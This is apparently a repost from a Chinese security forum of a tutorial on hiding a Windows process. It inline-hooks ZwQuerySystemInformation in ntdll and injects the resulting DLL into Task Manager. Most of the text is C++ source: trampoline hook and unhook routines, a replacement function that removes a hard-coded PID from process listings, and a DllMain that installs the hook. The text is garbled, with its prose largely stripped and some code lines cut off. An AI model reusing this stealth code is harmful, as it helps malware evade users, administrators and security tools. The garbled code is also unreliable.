[18595] 2021-07-17_干货|通过HOOK底层API实现进程隐藏

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-07-17_干货|通过HOOK底层API实现进程隐藏     H O O K A P I H A C K   2 0 2 1 - 0 7 - 1 7 H A C K   B u f f e r E D R A V , , , , , d l l , P E :   ( P E B ) :   , , , , , H O O K :   H O O K A P I , C O M D L L D L L . . . . . . , , 使   ( r i n g   3 ) , h o o k , , 3 2 6 4 , 使 x d b g 3 2 :   5 H A C K   . H A C K W e b H A C K Z w Q u e r y S y s t e m I n f o r m a t i o n E n u m P r o c e s s C r e a t e T o o l h e l p 3 2 S n a p s h o t Z w Q u e r y S y s t e m I n f o r m a t i o n N T S T A T U S   W I N A P I   Z w Q u e r y S y s t e m I n f o r m a t i o n (     _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,     _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,     _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,     _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h ) ; Z w Q u e r y S y s t e m I n f o r m a t i o n
6 4 :   1 2 6 4 d l l , 便 h o o k 0 x e 9   x x   x x   x x   x x 0 x 4 8   0 x b 8 ,   x x   x x   x x   x x   x x   x x   x x   x x 0 x F F   0 x E 0 R t l G e t N a t i v e S y s t e m I n f o r m a t i o n h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n
u n h o o k v o i d   h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) {         / / Z w Q u e r y S y s t e m I n f o r m a t i o n         H M O D U L E   h n t d l l   =   L o a d L i b r a r y A ( " n t d l l . d l l " ) ;         i f   ( ! h n t d l l )   {                 s t d : : c o u t   < <   " [ ! ]   L o a d   n t d l l   F a i l d . . n " ;                 r e t u r n ;         } # i f d e f   _ W I N 6 4         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e l s e         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e n d i f         t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n   Z w Q u e r y S y s t e m I n f o r m a t i o n   =   ( t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) : : G e t P r o c A d d r e s s         i f   ( ! Z w Q u e r y S y s t e m I n f o r m a t i o n )   {                 s t d : : c o u t   < <   " [ ! ]   G e t   Z w Q u e r y S y s t e m I n f o r m a t i o n   A d d r   F a i l d . . n " ;                 r e t u r n ;         } # i f d e f   _ W I N 6 4         B Y T E   p D a t a [ 1 2 ]   =   {   0 x 4 8 , 0 x b 8 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x F F , 0 x E 0   } ;         U L O N G L O N G   I n f o A d d r   =   ( U L O N G L O N G ) N e w _ Z w Q u e r y S y s t e m I n f o r m a t i o n ;         : : R t l C o p y M e m o r y ( & p D a t a [ 2 ] ,   & I n f o A d d r ,   s i z e o f ( I n f o A d d r ) ) ;         / /     1 2           : : R t l C o p y M e m o r y ( g _ O l d w i n 6 4 ,   Z w Q u e r y S y s t e m I n f o r m a t i o n ,   s i z e o f ( p D a t a ) ) ; # e l s e         B Y T E   p D a t a [ 5 ]   =   {   0 x e 9 , 0 x 0 , 0 x 0 , 0 x 0 , 0 x 0   } ;         / /         D W O R D   d w O f f e s e t   =   ( D W O R D ) N e w _ Z w Q u e r y S y s t e m I n f o r m a t i o n   -   ( D W O R D ) Z w Q u e r y S y s t e m I n f o r m a t i o n   -   5 ;         / / p D a t a         R t l C o p y M e m o r y ( & p D a t a [ 1 ] ,   & d w O f f e s e t ,   s i z e o f ( d w O f f e s e t ) ) ;         / /         R t l C o p y M e m o r y ( g _ O l d w i n 3 2 ,   Z w Q u e r y S y s t e m I n f o r m a t i o n ,   s i z e o f ( p D a t a ) ) ; # e n d i f           D W O R D   d w O l d P r o t e c t   =   N U L L ;         / / , 0 x C 0 0 0 0 5 访         V i r t u a l P r o t e c t ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   s i z e o f ( p D a t a ) ,   P A G E _ E X E C U T E _ R E A D W R I T E ,   & d w O l d P r o t e c t ) ;         / /         R t l C o p y M e m o r y ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   p D a t a ,   s i z e o f ( p D a t a ) ) ;         / /         V i r t u a l P r o t e c t ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   s i z e o f ( p D a t a ) ,   d w O l d P r o t e c t ,   & d w O l d P r o t e c t ) ; }
, v o i d   u n h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) {         / / Z w Q u e r y S y s t e m I n f o r m a t i o n         H M O D U L E   h n t d l l   =   L o a d L i b r a r y A ( " n t d l l . d l l " ) ;         i f   ( ! h n t d l l )   {                 s t d : : c o u t   < <   " [ ! ]   L o a d   n t d l l   F a i l d . . n " ;                 r e t u r n ;         } # i f d e f   _ W I N 6 4         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e l s e         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e n d i f         t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n   Z w Q u e r y S y s t e m I n f o r m a t i o n   =   ( t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) : : G e t P r o c A d d r e s s         i f   ( ! Z w Q u e r y S y s t e m I n f o r m a t i o n )   {                 s t d : : c o u t   < <   " [ ! ]   G e t   Z w Q u e r y S y s t e m I n f o r m a t i o n   A d d r   F a i l d . . n " ;                 r e t u r n ;         }         D W O R D   d w O l d P r o t e c t   =   N U L L ;         / / 便 1 2         V i r t u a l P r o t e c t ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   1 2 ,   P A G E _ E X E C U T E _ R E A D W R I T E ,   & d w O l d P r o t e c t ) ;         / / # i f d e f   _ W I N 6 4         R t l C o p y M e m o r y ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   g _ O l d w i n 6 4 ,   s i z e o f ( g _ O l d w i n 6 4 ) ) ; # e l s e         R t l C o p y M e m o r y ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   g _ O l d w i n 3 2 ,   s i z e o f ( g _ O l d w i n 3 2 ) ) ; # e n d i f           / /         V i r t u a l P r o t e c t ( Z w Q u e r y S y s t e m I n f o r m a t i o n ,   1 2 ,   d w O l d P r o t e c t ,   & d w O l d P r o t e c t ) ; } N e w _ Z w Q u e r y S y s t e m I n f o r m a t i o n N T S T A T U S   W I N A P I   N e w _ Z w Q u e r y S y s t e m I n f o r m a t i o n ( S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,   P V O I D   S y s t e m I n f o r m a t i o n {         N T S T A T U S   s t a t u s   =   N U L L ;         P S Y S T E M _ P R O C E S S _ I N F O R M A T I O N   p C u r   =   N U L L ,   p P r e v   =   N U L L ;         D W O R D   d w H i d e P r o c e s s I d   =   2 9 9 3 6 ;         / /         u n h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) ;         / /     n t d l l . d l l   ,           H M O D U L E   h n t d l l   =   L o a d L i b r a r y A ( " n t d l l . d l l " ) ;         i f   ( ! h n t d l l )   {                 s t d : : c o u t   < <   " [ ! ]   L o a d   n t d l l   F a i l d . . n " ;                 r e t u r n   s t a t u s ;         }         / /     Z w Q u e r y S y s t e m I n f o r m a t i o n   # i f d e f   _ W I N 6 4         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,
d l l , :                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e l s e         t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) (                 _ I n _             S Y S T E M _ I N F O R M A T I O N _ C L A S S   S y s t e m I n f o r m a t i o n C l a s s ,                 _ I n o u t _       P V O I D                                         S y s t e m I n f o r m a t i o n ,                 _ I n _             U L O N G                                         S y s t e m I n f o r m a t i o n L e n g t h ,                 _ O u t _ o p t _   P U L O N G                                       R e t u r n L e n g t h                 ) ; # e n d i f         t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n   Z w Q u e r y S y s t e m I n f o r m a t i o n   =   ( t y p e d e f _ Z w Q u e r y S y s t e m I n f o r m a t i o n ) : : G e t P r o c A d d r e s s         i f   ( ! Z w Q u e r y S y s t e m I n f o r m a t i o n )   {                 s t d : : c o u t   < <   " [ ! ]   G e t   Z w Q u e r y S y s t e m I n f o r m a t i o n   A d d r   F a i l d . . n " ;                 r e t u r n   s t a t u s ;         }         / / ,         s t a t u s   =   Z w Q u e r y S y s t e m I n f o r m a t i o n ( S y s t e m I n f o r m a t i o n C l a s s ,   S y s t e m I n f o r m a t i o n ,   S y s t e m I n f o r m a t i o n L e n g t h         i f   ( N T _ S U C C E S S ( s t a t u s )   & &   5   = =   S y s t e m I n f o r m a t i o n C l a s s )         {                 p C u r   =   ( P S Y S T E M _ P R O C E S S _ I N F O R M A T I O N ) S y s t e m I n f o r m a t i o n ;                 w h i l e   ( T R U E )                 {                         / /   P I D ,                         i f   ( d w H i d e P r o c e s s I d   = =   ( D W O R D ) p C u r - > U n i q u e P r o c e s s I d )                         {                                 i f   ( 0   = =   p C u r - > N e x t E n t r y O f f s e t )                                 {                                         p P r e v - > N e x t E n t r y O f f s e t   =   0 ;                                 }                                 e l s e                                 {                                         p P r e v - > N e x t E n t r y O f f s e t   =   p P r e v - > N e x t E n t r y O f f s e t   +   p C u r - > N e x t E n t r y O f f s e t ;                                 }                         }                         e l s e                         {                                 p P r e v   =   p C u r ;                         }                         i f   ( 0   = =   p C u r - > N e x t E n t r y O f f s e t )                         {                                 b r e a k ;                         }                         p C u r   =   ( P S Y S T E M _ P R O C E S S _ I N F O R M A T I O N ) ( ( B Y T E * ) p C u r   +   p C u r - > N e x t E n t r y O f f s e t ) ;                 }         }         / /         h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) ;         r e t u r n   s t a t u s ; } d l l m a i n
w i n 1 0 6 4 d l l I n j e c t d l l ( ) T a s k m g r . e x e d l l p i d : Q Q B O O L   A P I E N T R Y   D l l M a i n (   H M O D U L E   h M o d u l e ,                                               D W O R D     u l _ r e a s o n _ f o r _ c a l l ,                                               L P V O I D   l p R e s e r v e d                                           ) {         s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )         {         c a s e   D L L _ P R O C E S S _ A T T A C H :                 h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) ;                 g _ h M o d u l e   =   h M o d u l e ;                 b r e a k ;         c a s e   D L L _ T H R E A D _ A T T A C H :                 b r e a k ;         c a s e   D L L _ T H R E A D _ D E T A C H :                 b r e a k ;         c a s e   D L L _ P R O C E S S _ D E T A C H :                 u n h o o k Z w Q u e r y S y s t e m I n f o r m a t i o n ( ) ;                 b r e a k ;         }         r e t u r n   T R U E ; }
Q Q ?   使 , , K a l i   N e t H u n t e r
稿 B u f f e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则